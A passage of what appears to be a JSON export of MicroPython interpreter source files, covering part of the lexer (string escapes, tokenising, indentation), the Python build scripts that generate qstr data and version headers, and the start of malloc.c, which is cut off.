CUR_CHAR(lex);\n                if (is_raw) {\n                    // raw strings allow escaping of quotes, but the backslash is also emitted\n                    vstr_add_char(&lex->vstr, '\\\\');\n                } else {\n                    switch (c) {\n                        // note: \"c\" can never be MP_LEXER_EOF because next_char\n                        // always inserts a newline at the end of the input stream\n                        case '\\n': c = MP_LEXER_EOF; break; // backslash escape the newline, just ignore it\n                        case '\\\\': break;\n                        case '\\'': break;\n                        case '\"': break;\n                        case 'a': c = 0x07; break;\n                        case 'b': c = 0x08; break;\n                        case 't': c = 0x09; break;\n                        case 'n': c = 0x0a; break;\n                        case 'v': c = 0x0b; break;\n                        case 'f': c = 0x0c; break;\n                        case 'r': c = 0x0d; break;\n                        case 'u':\n                        case 'U':\n                            if (lex->tok_kind == MP_TOKEN_BYTES) {\n                                // b'\\u1234' == b'\\\\u1234'\n                                vstr_add_char(&lex->vstr, '\\\\');\n                                break;\n                            }\n                            // Otherwise fall through.\n                        case 'x':\n                        {\n                            mp_uint_t num = 0;\n                            if (!get_hex(lex, (c == 'x' ? 2 : c == 'u' ? 4 : 8), &num)) {\n                                // not enough hex chars for escape sequence\n                                lex->tok_kind = MP_TOKEN_INVALID;\n                            }\n                            c = num;\n                            break;\n                        }\n                        case 'N':\n                            // Supporting '\\N{LATIN SMALL LETTER A}' == 'a' would require keeping the\n                            // entire Unicode name table in the core. As of Unicode 6.3.0, that's nearly\n                            // 3MB of text; even gzip-compressed and with minimal structure, it'll take\n                            // roughly half a meg of storage. This form of Unicode escape may be added\n                            // later on, but it's definitely not a priority right now. -- CJA 20140607\n                            mp_raise_NotImplementedError(\"unicode name escapes\");\n                            break;\n                        default:\n                            if (c >= '0' && c <= '7') {\n                                // Octal sequence, 1-3 chars\n                                size_t digits = 3;\n                                mp_uint_t num = c - '0';\n                                while (is_following_odigit(lex) && --digits != 0) {\n                                    next_char(lex);\n                                    num = num * 8 + (CUR_CHAR(lex) - '0');\n                                }\n                                c = num;\n                            } else {\n                                // unrecognised escape character; CPython lets this through verbatim as '\\' and then the character\n                                vstr_add_char(&lex->vstr, '\\\\');\n                            }\n                            break;\n                    }\n                }\n                if (c != MP_LEXER_EOF) {\n                    if (MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC) {\n                        if (c < 0x110000 && lex->tok_kind == MP_TOKEN_STRING) {\n                            vstr_add_char(&lex->vstr, c);\n                        } else if (c < 0x100 && lex->tok_kind == MP_TOKEN_BYTES) {\n                            vstr_add_byte(&lex->vstr, c);\n                        } else {\n                            // unicode character out of range\n                            // this raises a generic SyntaxError; could provide more info\n                            lex->tok_kind = MP_TOKEN_INVALID;\n                        }\n                    } else {\n                        // without unicode everything is just added as an 8-bit byte\n                        if (c < 0x100) {\n                            vstr_add_byte(&lex->vstr, c);\n                        } else {\n                            // 8-bit character out of range\n                            // this raises a generic SyntaxError; could provide more info\n                            lex->tok_kind = MP_TOKEN_INVALID;\n                        }\n                    }\n                }\n            } else {\n                // Add the \"character\" as a byte so that we remain 8-bit clean.\n                // This way, strings are parsed correctly whether or not they contain utf-8 chars.\n                vstr_add_byte(&lex->vstr, CUR_CHAR(lex));\n            }\n        }\n        next_char(lex);\n    }\n\n    // check we got the required end quotes\n    if (n_closing < num_quotes) {\n        lex->tok_kind = MP_TOKEN_LONELY_STRING_OPEN;\n    }\n\n    // cut off the end quotes from the token text\n    vstr_cut_tail_bytes(&lex->vstr, n_closing);\n}\n\nSTATIC bool skip_whitespace(mp_lexer_t *lex, bool stop_at_newline) {\n    bool had_physical_newline = false;\n    while (!is_end(lex)) {\n        if (is_physical_newline(lex)) {\n            if (stop_at_newline && lex->nested_bracket_level == 0) {\n                break;\n            }\n            had_physical_newline = true;\n            next_char(lex);\n        } else if (is_whitespace(lex)) {\n            next_char(lex);\n        } else if (is_char(lex, '#')) {\n            next_char(lex);\n            while (!is_end(lex) && !is_physical_newline(lex)) {\n                next_char(lex);\n            }\n            // had_physical_newline will be set on next loop\n        } else if (is_char_and(lex, '\\\\', '\\n')) {\n            // line-continuation, so don't set had_physical_newline\n            next_char(lex);\n            next_char(lex);\n        } else {\n            break;\n        }\n    }\n    return had_physical_newline;\n}\n\nvoid mp_lexer_to_next(mp_lexer_t *lex) {\n    // start new token text\n    vstr_reset(&lex->vstr);\n\n    // skip white space and comments\n    bool had_physical_newline = skip_whitespace(lex, false);\n\n    // set token source information\n    lex->tok_line = lex->line;\n    lex->tok_column = lex->column;\n\n    if (lex->emit_dent < 0) {\n        lex->tok_kind = MP_TOKEN_DEDENT;\n        lex->emit_dent += 1;\n\n    } else if (lex->emit_dent > 0) {\n        lex->tok_kind = MP_TOKEN_INDENT;\n        lex->emit_dent -= 1;\n\n    } else if (had_physical_newline && lex->nested_bracket_level == 0) {\n        lex->tok_kind = MP_TOKEN_NEWLINE;\n\n        size_t num_spaces = lex->column - 1;\n        if (num_spaces == indent_top(lex)) {\n        } else if (num_spaces > indent_top(lex)) {\n            indent_push(lex, num_spaces);\n            lex->emit_dent += 1;\n        } else {\n            while (num_spaces < indent_top(lex)) {\n                indent_pop(lex);\n                lex->emit_dent -= 1;\n            }\n            if (num_spaces != indent_top(lex)) {\n                lex->tok_kind = MP_TOKEN_DEDENT_MISMATCH;\n            }\n        }\n\n    } else if (is_end(lex)) {\n        lex->tok_kind = MP_TOKEN_END;\n\n    } else if (is_string_or_bytes(lex)) {\n        // a string or bytes literal\n\n        // Python requires adjacent string/bytes literals to be automatically\n        // concatenated.  We do it here in the tokeniser to make efficient use of RAM,\n        // because then the lexer's vstr can be used to accumulate the string literal,\n        // in contrast to creating a parse tree of strings and then joining them later\n        // in the compiler.  It's also more compact in code size to do it here.\n\n        // MP_TOKEN_END is used to indicate that this is the first string token\n        lex->tok_kind = MP_TOKEN_END;\n\n        // Loop to accumulate string/bytes literals\n        do {\n            // parse type codes\n            bool is_raw = false;\n            mp_token_kind_t kind = MP_TOKEN_STRING;\n            int n_char = 0;\n            if (is_char(lex, 'u')) {\n                n_char = 1;\n            } else if (is_char(lex, 'b')) {\n                kind = MP_TOKEN_BYTES;\n                n_char = 1;\n                if (is_char_following(lex, 'r')) {\n                    is_raw = true;\n                    n_char = 2;\n                }\n            } else if (is_char(lex, 'r')) {\n                is_raw = true;\n                n_char = 1;\n                if (is_char_following(lex, 'b')) {\n                    kind = MP_TOKEN_BYTES;\n                    n_char = 2;\n                }\n            }\n\n            // Set or check token kind\n            if (lex->tok_kind == MP_TOKEN_END) {\n                lex->tok_kind = kind;\n            } else if (lex->tok_kind != kind) {\n                // Can't concatenate string with bytes\n                break;\n            }\n\n            // Skip any type code characters\n            if (n_char != 0) {\n                next_char(lex);\n                if (n_char == 2) {\n                    next_char(lex);\n                }\n            }\n\n            // Parse the literal\n            parse_string_literal(lex, is_raw);\n\n            // Skip whitespace so we can check if there's another string following\n            skip_whitespace(lex, true);\n\n        } while (is_string_or_bytes(lex));\n\n    } else if (is_head_of_identifier(lex)) {\n        lex->tok_kind = MP_TOKEN_NAME;\n\n        // get first char (add as byte to remain 8-bit clean and support utf-8)\n        vstr_add_byte(&lex->vstr, CUR_CHAR(lex));\n        next_char(lex);\n\n        // get tail chars\n        while (!is_end(lex) && is_tail_of_identifier(lex)) {\n            vstr_add_byte(&lex->vstr, CUR_CHAR(lex));\n            next_char(lex);\n        }\n\n        // Check if the name is a keyword.\n        // We also check for __debug__ here and convert it to its value.  This is\n        // so the parser gives a syntax error on, eg, x.__debug__.  Otherwise, we\n        // need to check for this special token in many places in the compiler.\n        const char *s = vstr_null_terminated_str(&lex->vstr);\n        for (size_t i = 0; i < MP_ARRAY_SIZE(tok_kw); i++) {\n            int cmp = strcmp(s, tok_kw[i]);\n            if (cmp == 0) {\n                lex->tok_kind = MP_TOKEN_KW_FALSE + i;\n                if (lex->tok_kind == MP_TOKEN_KW___DEBUG__) {\n                    lex->tok_kind = (MP_STATE_VM(mp_optimise_value) == 0 ? MP_TOKEN_KW_TRUE : MP_TOKEN_KW_FALSE);\n                }\n                break;\n            } else if (cmp < 0) {\n                // Table is sorted and comparison was less-than, so stop searching\n                break;\n            }\n        }\n\n    } else if (is_digit(lex) || (is_char(lex, '.') && is_following_digit(lex))) {\n        bool forced_integer = false;\n        if (is_char(lex, '.')) {\n            lex->tok_kind = MP_TOKEN_FLOAT_OR_IMAG;\n        } else {\n            lex->tok_kind = MP_TOKEN_INTEGER;\n            if (is_char(lex, '0') && is_following_base_char(lex)) {\n                forced_integer = true;\n            }\n        }\n\n        // get first char\n        vstr_add_char(&lex->vstr, CUR_CHAR(lex));\n        next_char(lex);\n\n        // get tail chars\n        while (!is_end(lex)) {\n            if (!forced_integer && is_char_or(lex, 'e', 'E')) {\n                lex->tok_kind = MP_TOKEN_FLOAT_OR_IMAG;\n                vstr_add_char(&lex->vstr, 'e');\n                next_char(lex);\n                if (is_char(lex, '+') || is_char(lex, '-')) {\n                    vstr_add_char(&lex->vstr, CUR_CHAR(lex));\n                    next_char(lex);\n                }\n            } else if (is_letter(lex) || is_digit(lex) || is_char(lex, '.')) {\n                if (is_char_or3(lex, '.', 'j', 'J')) {\n                    lex->tok_kind = MP_TOKEN_FLOAT_OR_IMAG;\n                }\n                vstr_add_char(&lex->vstr, CUR_CHAR(lex));\n                next_char(lex);\n            } else {\n                break;\n            }\n        }\n\n    } else {\n        // search for encoded delimiter or operator\n\n        const char *t = tok_enc;\n        size_t tok_enc_index = 0;\n        for (; *t != 0 && !is_char(lex, *t); t += 1) {\n            if (*t == 'e' || *t == 'c') {\n                t += 1;\n            }\n            tok_enc_index += 1;\n        }\n\n        next_char(lex);\n\n        if (*t == 0) {\n            // didn't match any delimiter or operator characters\n            lex->tok_kind = MP_TOKEN_INVALID;\n\n        } else if (*t == '!') {\n            // \"!=\" is a special case because \"!\" is not a valid operator\n            if (is_char(lex, '=')) {\n                next_char(lex);\n                lex->tok_kind = MP_TOKEN_OP_NOT_EQUAL;\n            } else {\n                lex->tok_kind = MP_TOKEN_INVALID;\n            }\n\n        } else if (*t == '.') {\n            // \".\" and \"...\" are special cases because \"..\" is not a valid operator\n            if (is_char_and(lex, '.', '.')) {\n                next_char(lex);\n                next_char(lex);\n                lex->tok_kind = MP_TOKEN_ELLIPSIS;\n            } else {\n                lex->tok_kind = MP_TOKEN_DEL_PERIOD;\n            }\n\n        } else {\n            // matched a delimiter or operator character\n\n            // get the maximum characters for a valid token\n            t += 1;\n            size_t t_index = tok_enc_index;\n            while (*t == 'c' || *t == 'e') {\n                t_index += 1;\n                if (is_char(lex, t[1])) {\n                    next_char(lex);\n                    tok_enc_index = t_index;\n                    if (*t == 'e') {\n                        break;\n                    }\n                } else if (*t == 'c') {\n                    break;\n                }\n                t += 2;\n            }\n\n            // set token kind\n            lex->tok_kind = tok_enc_kind[tok_enc_index];\n\n            // compute bracket level for implicit line joining\n            if (lex->tok_kind == MP_TOKEN_DEL_PAREN_OPEN || lex->tok_kind == MP_TOKEN_DEL_BRACKET_OPEN || lex->tok_kind == MP_TOKEN_DEL_BRACE_OPEN) {\n                lex->nested_bracket_level += 1;\n            } else if (lex->tok_kind == MP_TOKEN_DEL_PAREN_CLOSE || lex->tok_kind == MP_TOKEN_DEL_BRACKET_CLOSE || lex->tok_kind == MP_TOKEN_DEL_BRACE_CLOSE) {\n                lex->nested_bracket_level -= 1;\n            }\n        }\n    }\n}\n\nmp_lexer_t *mp_lexer_new(qstr src_name, mp_reader_t reader) {\n    mp_lexer_t *lex = m_new_obj(mp_lexer_t);\n\n    lex->source_name = src_name;\n    lex->reader = reader;\n    lex->line = 1;\n    lex->column = (size_t)-2; // account for 3 dummy bytes\n    lex->emit_dent = 0;\n    lex->nested_bracket_level = 0;\n    lex->alloc_indent_level = MICROPY_ALLOC_LEXER_INDENT_INIT;\n    lex->num_indent_level = 1;\n    lex->indent_level = m_new(uint16_t, lex->alloc_indent_level);\n    vstr_init(&lex->vstr, 32);\n\n    // store sentinel for first indentation level\n    lex->indent_level[0] = 0;\n\n    // load lexer with start of file, advancing lex->column to 1\n    // start with dummy bytes and use next_char() for proper EOL/EOF handling\n    lex->chr0 = lex->chr1 = lex->chr2 = 0;\n    next_char(lex);\n    next_char(lex);\n    next_char(lex);\n\n    // preload first token\n    mp_lexer_to_next(lex);\n\n    // Check that the first token is in the first column.  If it's not then we\n    // convert the token kind to INDENT so that the parser gives a syntax error.\n    if (lex->tok_column != 1) {\n        lex->tok_kind = MP_TOKEN_INDENT;\n    }\n\n    return lex;\n}\n\nmp_lexer_t *mp_lexer_new_from_str_len(qstr src_name, const char *str, size_t len, size_t free_len) {\n    mp_reader_t reader;\n    mp_reader_new_mem(&reader, (const byte*)str, len, free_len);\n    return mp_lexer_new(src_name, reader);\n}\n\n#if MICROPY_READER_POSIX || MICROPY_READER_VFS\n\nmp_lexer_t *mp_lexer_new_from_file(const char *filename) {\n    mp_reader_t reader;\n    mp_reader_new_file(&reader, filename);\n    return mp_lexer_new(qstr_from_str(filename), reader);\n}\n\n#if MICROPY_HELPER_LEXER_UNIX\n\nmp_lexer_t *mp_lexer_new_from_fd(qstr filename, int fd, bool close_fd) {\n    mp_reader_t reader;\n    mp_reader_new_file_from_fd(&reader, fd, close_fd);\n    return mp_lexer_new(filename, reader);\n}\n\n#endif\n\n#endif\n\nvoid mp_lexer_free(mp_lexer_t *lex) {\n    if (lex) {\n        lex->reader.close(lex->reader.data);\n        vstr_clear(&lex->vstr);\n        m_del(uint16_t, lex->indent_level, lex->alloc_indent_level);\n        m_del_obj(mp_lexer_t, lex);\n    }\n}\n\n#if 0\n// This function is used to print the current token and should only be\n// needed to debug the lexer, so it's not available via a config option.\nvoid mp_lexer_show_token(const mp_lexer_t *lex) {\n    printf(\"(\" UINT_FMT \":\" UINT_FMT \") kind:%u str:%p len:%zu\", lex->tok_line, lex->tok_column, lex->tok_kind, lex->vstr.buf, lex->vstr.len);\n    if (lex->vstr.len > 0) {\n        const byte *i = (const byte *)lex->vstr.buf;\n        const byte *j = (const byte *)i + lex->vstr.len;\n        printf(\" \");\n        while (i < j) {\n            unichar c = utf8_get_char(i);\n            i = utf8_next_char(i);\n            if (unichar_isprint(c)) {\n                printf(\"%c\", (int)c);\n            } else {\n                printf(\"?\");\n            }\n        }\n    }\n    printf(\"\\n\");\n}\n#endif\n\n#endif // MICROPY_ENABLE_COMPILER\n"
  },
  {
    "path": "micropython/source/py/makeqstrdata.py",
    "content": "\"\"\"\nProcess raw qstr file and output qstr data with length, hash and data bytes.\n\nThis script works with Python 2.6, 2.7, 3.3 and 3.4.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport re\nimport sys\n\n# Python 2/3 compatibility:\n#   - iterating through bytes is different\n#   - codepoint2name lives in a different module\nimport platform\nif platform.python_version_tuple()[0] == '2':\n    bytes_cons = lambda val, enc=None: bytearray(val)\n    from htmlentitydefs import codepoint2name\nelif platform.python_version_tuple()[0] == '3':\n    bytes_cons = bytes\n    from html.entities import codepoint2name\n# end compatibility code\n\ncodepoint2name[ord('-')] = 'hyphen';\n\n# add some custom names to map characters that aren't in HTML\ncodepoint2name[ord(' ')] = 'space'\ncodepoint2name[ord('\\'')] = 'squot'\ncodepoint2name[ord(',')] = 'comma'\ncodepoint2name[ord('.')] = 'dot'\ncodepoint2name[ord(':')] = 'colon'\ncodepoint2name[ord(';')] = 'semicolon'\ncodepoint2name[ord('/')] = 'slash'\ncodepoint2name[ord('%')] = 'percent'\ncodepoint2name[ord('#')] = 'hash'\ncodepoint2name[ord('(')] = 'paren_open'\ncodepoint2name[ord(')')] = 'paren_close'\ncodepoint2name[ord('[')] = 'bracket_open'\ncodepoint2name[ord(']')] = 'bracket_close'\ncodepoint2name[ord('{')] = 'brace_open'\ncodepoint2name[ord('}')] = 'brace_close'\ncodepoint2name[ord('*')] = 'star'\ncodepoint2name[ord('!')] = 'bang'\ncodepoint2name[ord('\\\\')] = 'backslash'\ncodepoint2name[ord('+')] = 'plus'\ncodepoint2name[ord('$')] = 'dollar'\ncodepoint2name[ord('=')] = 'equals'\ncodepoint2name[ord('?')] = 'question'\ncodepoint2name[ord('@')] = 'at_sign'\ncodepoint2name[ord('^')] = 'caret'\ncodepoint2name[ord('|')] = 'pipe'\ncodepoint2name[ord('~')] = 'tilde'\n\n# this must match the equivalent function in qstr.c\ndef compute_hash(qstr, bytes_hash):\n    hash = 5381\n    for b in qstr:\n        hash = (hash * 33) ^ b\n    # Make sure that valid hash is never zero, zero means \"hash not computed\"\n    return (hash & ((1 << (8 * bytes_hash)) - 1)) or 1\n\ndef qstr_escape(qst):\n    def esc_char(m):\n        c = ord(m.group(0))\n        try:\n            name = codepoint2name[c]\n        except KeyError:\n            name = '0x%02x' % c\n        return \"_\" + name + '_'\n    return re.sub(r'[^A-Za-z0-9_]', esc_char, qst)\n\ndef parse_input_headers(infiles):\n    # read the qstrs in from the input files\n    qcfgs = {}\n    qstrs = {}\n    for infile in infiles:\n        with open(infile, 'rt') as f:\n            for line in f:\n                line = line.strip()\n\n                # is this a config line?\n                match = re.match(r'^QCFG\\((.+), (.+)\\)', line)\n                if match:\n                    value = match.group(2)\n                    if value[0] == '(' and value[-1] == ')':\n                        # strip parenthesis from config value\n                        value = value[1:-1]\n                    qcfgs[match.group(1)] = value\n                    continue\n\n                # is this a QSTR line?\n                match = re.match(r'^Q\\((.*)\\)$', line)\n                if not match:\n                    continue\n\n                # get the qstr value\n                qstr = match.group(1)\n\n                # special case to specify control characters\n                if qstr == '\\\\n':\n                    qstr = '\\n'\n\n                # work out the corresponding qstr name\n                ident = qstr_escape(qstr)\n\n                # don't add duplicates\n                if ident in qstrs:\n                    continue\n\n                # add the qstr to the list, with order number to retain original order in file\n                qstrs[ident] = (len(qstrs), ident, qstr)\n\n    if not qcfgs:\n        sys.stderr.write(\"ERROR: Empty preprocessor output - check for errors above\\n\")\n        sys.exit(1)\n\n    return qcfgs, qstrs\n\ndef make_bytes(cfg_bytes_len, cfg_bytes_hash, qstr):\n    qbytes = bytes_cons(qstr, 'utf8')\n    qlen = len(qbytes)\n    qhash = compute_hash(qbytes, cfg_bytes_hash)\n    if all(32 <= ord(c) <= 126 and c != '\\\\' and c != '\"' for c in qstr):\n        # qstr is all printable ASCII so render it as-is (for easier debugging)\n        qdata = qstr\n    else:\n        # qstr contains non-printable codes so render entire thing as hex pairs\n        qdata = ''.join(('\\\\x%02x' % b) for b in qbytes)\n    if qlen >= (1 << (8 * cfg_bytes_len)):\n        print('qstr is too long:', qstr)\n        assert False\n    qlen_str = ('\\\\x%02x' * cfg_bytes_len) % tuple(((qlen >> (8 * i)) & 0xff) for i in range(cfg_bytes_len))\n    qhash_str = ('\\\\x%02x' * cfg_bytes_hash) % tuple(((qhash >> (8 * i)) & 0xff) for i in range(cfg_bytes_hash))\n    return '(const byte*)\"%s%s\" \"%s\"' % (qhash_str, qlen_str, qdata)\n\ndef print_qstr_data(qcfgs, qstrs):\n    # get config variables\n    cfg_bytes_len = int(qcfgs['BYTES_IN_LEN'])\n    cfg_bytes_hash = int(qcfgs['BYTES_IN_HASH'])\n\n    # print out the starter of the generated C header file\n    print('// This file was automatically generated by makeqstrdata.py')\n    print('')\n\n    # add NULL qstr with no hash or data\n    print('QDEF(MP_QSTR_NULL, (const byte*)\"%s%s\" \"\")' % ('\\\\x00' * cfg_bytes_hash, '\\\\x00' * cfg_bytes_len))\n\n    # go through each qstr and print it out\n    for order, ident, qstr in sorted(qstrs.values(), key=lambda x: x[0]):\n        qbytes = make_bytes(cfg_bytes_len, cfg_bytes_hash, qstr)\n        print('QDEF(MP_QSTR_%s, %s)' % (ident, qbytes))\n\ndef do_work(infiles):\n    qcfgs, qstrs = parse_input_headers(infiles)\n    print_qstr_data(qcfgs, qstrs)\n\nif __name__ == \"__main__\":\n    do_work(sys.argv[1:])\n"
  },
  {
    "path": "micropython/source/py/makeqstrdefs.py",
    "content": "\"\"\"\nThis script processes the output from the C preprocessor and extracts all\nqstr. Each qstr is transformed into a qstr definition of the form 'Q(...)'.\n\nThis script works with Python 2.6, 2.7, 3.3 and 3.4.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport re\nimport sys\nimport os\n\n# Blacklist of qstrings that are specially handled in further\n# processing and should be ignored\nQSTRING_BLACK_LIST = set(['NULL', 'number_of'])\n\n\ndef write_out(fname, output):\n    if output:\n        for m, r in [(\"/\", \"__\"), (\"\\\\\", \"__\"), (\":\", \"@\"), (\"..\", \"@@\")]:\n            fname = fname.replace(m, r)\n        with open(args.output_dir + \"/\" + fname + \".qstr\", \"w\") as f:\n            f.write(\"\\n\".join(output) + \"\\n\")\n\ndef process_file(f):\n    output = []\n    last_fname = None\n    for line in f:\n        # match gcc-like output (# n \"file\") and msvc-like output (#line n \"file\")\n        if line and (line[0:2] == \"# \" or line[0:5] == \"#line\"):\n            m = re.match(r\"#[line]*\\s\\d+\\s\\\"([^\\\"]+)\\\"\", line)\n            assert m is not None\n            fname = m.group(1)\n            if not fname.endswith(\".c\"):\n                continue\n            if fname != last_fname:\n                write_out(last_fname, output)\n                output = []\n                last_fname = fname\n            continue\n        for match in re.findall(r'MP_QSTR_[_a-zA-Z0-9]+', line):\n            name = match.replace('MP_QSTR_', '')\n            if name not in QSTRING_BLACK_LIST:\n                output.append('Q(' + name + ')')\n\n    write_out(last_fname, output)\n    return \"\"\n\n\ndef cat_together():\n    import glob\n    import hashlib\n    hasher = hashlib.md5()\n    all_lines = []\n    outf = open(args.output_dir + \"/out\", \"wb\")\n    for fname in glob.glob(args.output_dir + \"/*.qstr\"):\n        with open(fname, \"rb\") as f:\n            lines = f.readlines()\n            all_lines += lines\n    all_lines.sort()\n    all_lines = b\"\\n\".join(all_lines)\n    outf.write(all_lines)\n    outf.close()\n    hasher.update(all_lines)\n    new_hash = hasher.hexdigest()\n    #print(new_hash)\n    old_hash = None\n    try:\n        with open(args.output_file + \".hash\") as f:\n            old_hash = f.read()\n    except IOError:\n        pass\n    if old_hash != new_hash:\n        print(\"QSTR updated\")\n        try:\n            # rename below might fail if file exists\n            os.remove(args.output_file)\n        except:\n            pass\n        os.rename(args.output_dir + \"/out\", args.output_file)\n        with open(args.output_file + \".hash\", \"w\") as f:\n            f.write(new_hash)\n    else:\n        print(\"QSTR not updated\")\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 5:\n        print('usage: %s command input_filename output_dir output_file' % sys.argv[0])\n        sys.exit(2)\n\n    class Args:\n        pass\n    args = Args()\n    args.command = sys.argv[1]\n    args.input_filename = sys.argv[2]\n    args.output_dir = sys.argv[3]\n    args.output_file = sys.argv[4]\n\n    try:\n        os.makedirs(args.output_dir)\n    except OSError:\n        pass\n\n    if args.command == \"split\":\n        with open(args.input_filename) as infile:\n            process_file(infile)\n\n    if args.command == \"cat\":\n        cat_together()\n"
  },
  {
    "path": "micropython/source/py/makeversionhdr.py",
    "content": "\"\"\"\nGenerate header file with macros defining MicroPython version info.\n\nThis script works with Python 2.6, 2.7, 3.3 and 3.4.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport sys\nimport os\nimport datetime\nimport subprocess\n\ndef get_version_info_from_git():\n    # Python 2.6 doesn't have check_output, so check for that\n    try:\n        subprocess.check_output\n        subprocess.check_call\n    except AttributeError:\n        return None\n\n    # Note: git describe doesn't work if no tag is available\n    try:\n        git_tag = subprocess.check_output([\"git\", \"describe\", \"--dirty\", \"--always\"], stderr=subprocess.STDOUT, universal_newlines=True).strip()\n    except subprocess.CalledProcessError as er:\n        if er.returncode == 128:\n            # git exit code of 128 means no repository found\n            return None\n        git_tag = \"\"\n    except OSError:\n        return None\n    try:\n        git_hash = subprocess.check_output([\"git\", \"rev-parse\", \"--short\", \"HEAD\"], stderr=subprocess.STDOUT, universal_newlines=True).strip()\n    except subprocess.CalledProcessError:\n        git_hash = \"unknown\"\n    except OSError:\n        return None\n\n    try:\n        # Check if there are any modified files.\n        subprocess.check_call([\"git\", \"diff\", \"--no-ext-diff\", \"--quiet\", \"--exit-code\"], stderr=subprocess.STDOUT)\n        # Check if there are any staged files.\n        subprocess.check_call([\"git\", \"diff-index\", \"--cached\", \"--quiet\", \"HEAD\", \"--\"], stderr=subprocess.STDOUT)\n    except subprocess.CalledProcessError:\n        git_hash += \"-dirty\"\n    except OSError:\n        return None\n\n    # Try to extract MicroPython version from git tag\n    if git_tag.startswith(\"v\"):\n        ver = git_tag[1:].split(\"-\")[0].split(\".\")\n        if len(ver) == 2:\n            ver.append(\"0\")\n    else:\n        ver = [\"0\", \"0\", \"1\"]\n\n    return git_tag, git_hash, ver\n\ndef get_version_info_from_docs_conf():\n    with open(os.path.join(os.path.dirname(sys.argv[0]), \"..\", \"docs\", \"conf.py\")) as f:\n        for line in f:\n            if line.startswith(\"version = release = '\"):\n                ver = line.strip().split(\" = \")[2].strip(\"'\")\n                git_tag = \"v\" + ver\n                ver = ver.split(\".\")\n                if len(ver) == 2:\n                    ver.append(\"0\")\n                return git_tag, \"<no hash>\", ver\n    return None\n\ndef make_version_header(filename):\n    # Get version info using git, with fallback to docs/conf.py\n    info = get_version_info_from_git()\n    if info is None:\n        info = get_version_info_from_docs_conf()\n\n    git_tag, git_hash, ver = info\n\n    # Generate the file with the git and version info\n    file_data = \"\"\"\\\n// This file was generated by py/makeversionhdr.py\n#define MICROPY_GIT_TAG \"%s\"\n#define MICROPY_GIT_HASH \"%s\"\n#define MICROPY_BUILD_DATE \"%s\"\n#define MICROPY_VERSION_MAJOR (%s)\n#define MICROPY_VERSION_MINOR (%s)\n#define MICROPY_VERSION_MICRO (%s)\n#define MICROPY_VERSION_STRING \"%s.%s.%s\"\n\"\"\" % (git_tag, git_hash, datetime.date.today().strftime(\"%Y-%m-%d\"),\n    ver[0], ver[1], ver[2], ver[0], ver[1], ver[2])\n\n    # Check if the file contents changed from last time\n    write_file = True\n    if os.path.isfile(filename):\n        with open(filename, 'r') as f:\n            existing_data = f.read()\n        if existing_data == file_data:\n            write_file = False\n\n    # Only write the file if we need to\n    if write_file:\n        print(\"Generating %s\" % filename)\n        with open(filename, 'w') as f:\n            f.write(file_data)\n\nif __name__ == \"__main__\":\n    make_version_header(sys.argv[1])\n"
  },
  {
    "path": "micropython/source/py/malloc.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/mpstate.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#endif\n\n#if MICROPY_MEM_STATS\n#define UPDATE_PEAK() { if (MP_STATE_MEM(current_bytes_allocated) > MP_STATE_MEM(peak_bytes_allocated)) MP_STATE_MEM(peak_bytes_allocated) = MP_STATE_MEM(current_bytes_allocated); }\n#endif\n\n#if MICROPY_ENABLE_GC\n#include \"py/gc.h\"\n\n// We redirect standard alloc functions to GC heap - just for the rest of\n// this module. In the rest of MicroPython source, system malloc can be\n// freely accessed - for interfacing with system and 3rd-party libs for\n// example. On the other hand, some (e.g. bare-metal) ports may use GC\n// heap as system heap, so, to avoid warnings, we do undef's first.\n#undef malloc\n#undef free\n#undef realloc\n#define malloc(b) gc_alloc((b), false)\n#define malloc_with_finaliser(b) gc_alloc((b), true)\n#define free gc_free\n#define realloc(ptr, n) gc_realloc(ptr, n, true)\n#define realloc_ext(ptr, n, mv) gc_realloc(ptr, n, mv)\n#else\nSTATIC void *realloc_ext(void *ptr, size_t n_bytes, bool allow_move) {\n    if (allow_move) {\n        return realloc(ptr, n_bytes);\n    } else {\n        // We are asked to resize, but without moving the memory region pointed to\n        // by ptr.  Unless the underlying memory manager has special provision for\n        // this behaviour there is nothing we can do except fail to resize.\n        return NULL;\n    }\n}\n#endif // MICROPY_ENABLE_GC\n\nvoid *m_malloc(size_t num_bytes) {\n    void *ptr = malloc(num_bytes);\n    if (ptr == NULL && num_bytes != 0) {\n        return m_malloc_fail(num_bytes);\n    }\n#if MICROPY_MEM_STATS\n    MP_STATE_MEM(total_bytes_allocated) += num_bytes;\n    MP_STATE_MEM(current_bytes_allocated) += num_bytes;\n    UPDATE_PEAK();\n#endif\n    DEBUG_printf(\"malloc %d : %p\\n\", num_bytes, ptr);\n    return ptr;\n}\n\nvoid *m_malloc_maybe(size_t num_bytes) {\n    void *ptr = malloc(num_bytes);\n#if MICROPY_MEM_STATS\n    MP_STATE_MEM(total_bytes_allocated) += num_bytes;\n    MP_STATE_MEM(current_bytes_allocated) += num_bytes;\n    UPDATE_PEAK();\n#endif\n    